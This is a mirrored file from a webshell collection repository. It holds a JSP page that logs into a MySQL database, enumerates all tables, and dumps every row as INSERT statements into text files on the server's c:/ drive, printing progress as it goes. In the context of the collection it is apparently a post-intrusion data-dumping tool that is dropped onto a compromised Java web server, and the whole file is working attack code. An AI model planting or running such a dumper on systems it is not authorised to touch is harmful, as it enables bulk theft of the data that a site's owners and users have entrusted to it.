mirror of
https://github.com/tennc/webshell
synced 2024-11-12 22:47:15 +00:00
89 lines
2.8 KiB
Text
89 lines
2.8 KiB
Text
<%@ page import="java.sql.*" %>
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<%@ page import="java.util.*" %>
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<%@ page import="java.io.*" %>
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<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
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<%
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try {
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//备份文件存放的绝对路径
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String backupDir = "c:/";
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String ex=".txt";
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String driver = "com.mysql.jdbc.Driver";
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String url = "jdbc:mysql://localhost:3306/dbname";
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String username = "user";
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String password = "pass";
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Class.forName(driver);
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Connection conn = DriverManager.getConnection(url, username, password);
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// Get tables
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DatabaseMetaData dmd = conn.getMetaData();
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ResultSet rs = dmd.getTables(null, null, "%", null);
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ArrayList<String> tables = new ArrayList<String>();
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while (rs.next()) {
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tables.add(rs.getString(3));
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}
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rs.close();
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ResultSetMetaData rsmd = null;
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Statement stmt = conn.createStatement();
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for (String table : tables) {
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rs = stmt.executeQuery("SHOW CREATE TABLE " + table);
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rsmd = rs.getMetaData();
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while (rs.next()) {
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/*
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* mysql> SHOW CREATE TABLE t\G
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*************************** 1. row ***************************
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* Table: t
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* Create Table: CREATE TABLE t (
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* id int(11) default NULL auto_increment,
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* s char(60) default NULL,
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* PRIMARY KEY (id)
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* ) TYPE=MyISAM
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*/
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// JDBC is 1-based, Java is not !?
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// osw.append(rs.getString(2) + "\n\n");
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}
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rs.close();
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out.println("Dumping data for table " + table + "...<br />");
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OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8");
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BufferedWriter bw=new BufferedWriter(osw);
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rs = stmt.executeQuery("SELECT * FROM " + table);
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rsmd = rs.getMetaData();
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while (rs.next()) {
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bw.append("INSERT INTO " + table + " VALUES(");
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// JDBC is 1-based, Java is not !?
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for (int col = 1; col <= rsmd.getColumnCount(); col++) {
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bw.append("'");
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if (rs.getString(col) == null)
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bw.append("");
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else
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bw.append(rs.getString(col));
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if (col == rsmd.getColumnCount())
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bw.append("'");
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else
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bw.append("',");
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}
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bw.append(");");
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bw.newLine();
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}
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bw.flush();
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bw.close();
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osw.close();
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rs.close();
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}
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stmt.close();
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out.println("backup is ok");
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conn.close();
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} catch (Exception e) {
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response.setStatus(200);
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e.printStackTrace();
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}
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out.println("<p><h3>finished</h3></p>");
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%>
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